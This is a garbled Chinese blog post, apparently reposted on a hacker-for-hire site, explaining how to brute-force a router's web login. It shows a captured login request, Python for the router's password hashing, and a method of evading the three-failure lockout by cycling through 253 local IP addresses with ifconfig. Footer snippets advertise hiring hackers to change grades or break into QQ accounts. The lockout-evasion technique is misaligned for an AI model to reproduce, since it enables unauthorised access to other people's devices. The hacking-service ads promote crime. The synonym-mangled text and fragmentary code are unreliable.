用Python绕过“登录3次过错,等候一分钟”的约束

访客5年前关于黑客接单657

在宅院里边看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后边的标签上有web界面的地址,然后登陆进去看看,发现有暗码,然后我想,路由器的暗码应该都是能够reset的,然后我就用笔戳那个reset键,奇观没有发生,本来这个reset键坏了。
晕,心想web界面还能够进去,并且无线wifi也能够看到SSID,应该主要功用仍是能够用的。功用看起来挺多的,所以就想看看,在网上查找通用暗码找了很多,逐个尝试过,都没有用。那么就用最没技术含量的爆炸试试。

剖析进程
抓包
1、翻开路由的web页面:192.168.3.1,路由器回来


会得到csrf和cookie和所需求的值,这些值都要保存下来,后边会用。
2、输入用户名暗码后:
user:admin
pass:87654321
 POST /api/system/user_login HTTP/1.1
    Host: 192.168.3.1
    Connection: keep-alive
    Content-Length: 234
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.3.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
    Content-Type: application/json;charset=UTF-8
    Referer: http://192.168.3.1/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin
    {"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器回来数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
暗码的生成办法
从上面抓包的成果来看,Password字段是通过加密的,所以假如咱们要暴力破解,需求把这个password的生成算法找出来。
翻开web登录页面,检查源代码,找找算法

在web页面包括的js文件中,找到了UserName和Password的生成计划。
password_str = base64Encode(SHA256(password));
def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
    pass;
登录的约束
接连登录3次过错暗码,会在1分钟之内无法登录。

绕过3次过错暗码,等候一分钟的约束
在这里我运用修正IP地址的 *** 来加速暴力破解的速度。原理便是当一个ip地址的登录次数超越3次时,那就换下一个IP来登录页面,253个ip,每个ip能够过3个暗码,253*3 = 759,每次能够测验759个暗码,2分钟能过759个,1天1440分钟能测验54万多点暗码,假如暗码不杂乱,差不多是能够跑出来的。
在linux上修正ip地址,很简单一条指令就能够处理:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass;
提示内容:
暗码过错的提示文本:
    [password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被约束,需求等候1分钟的提示:
    [password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
    ****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}

[1] [2] [3]  黑客接单网

相关文章

针对Phorum开源论坛项目的安全评价陈述

简介 项目名称:Phorum 版本号:v5.2.20 陈述号:VoidSec-16-001 日期:2019年4月21日 黑客接单渠道百科 Phorum是一个根据PHP+MySQL开发的开源论坛项目。它...

定位怎么定_黑客找qq-找真黑客

$tmp .= $txt[$i] ^ $txt[++$i]; 翻开终端,输入如下指令:定位怎么定,黑客找qq 088装置:定位怎么定,黑客找qq,找真黑客2、Request.Form:相同也是获...

拆分暗码-WEB浸透

在WEB浸透中或许运用某个关键字为暗码中心的暗码(Mail,Vpn,后台登陆等) 0x01 实践数据剖析 Gmail 500W明文暗码 个人以往浸透实例 美国姓名top2000 在以往的浸透过中发现绝...

关于SQL注入缝隙的4个误解

预告:假如你对SQL注入方面的进犯与防护技能感兴趣。那么,欢迎你参与咱们在3月16号星期五早上九点举行的,免费在线GroupBy会议。 SQL注入已是一个陈词滥调的论题,但时至今日仍是咱们作为开发人...

学历信息网,找黑客改成绩 托业,黑客攻击找比特币私密

Continue:of Compromise,攻陷指标)咱们将做含糊处理。 一切IOC现已整合到东巽的铁穹产品和东巽要挟情报中心,您可拜访以下网址进行查询:https://ti.dongxuntech...

北京有接单的黑客吗_我有一位朋友改分找黑客成功了

switch (grpc_fuzzer_get_next_byte(&inp)) {附录2、关于360终端安全实验室Zebrocy是歹意安排运用的东西之一,但实际上,运用这个东西的工作能够视为...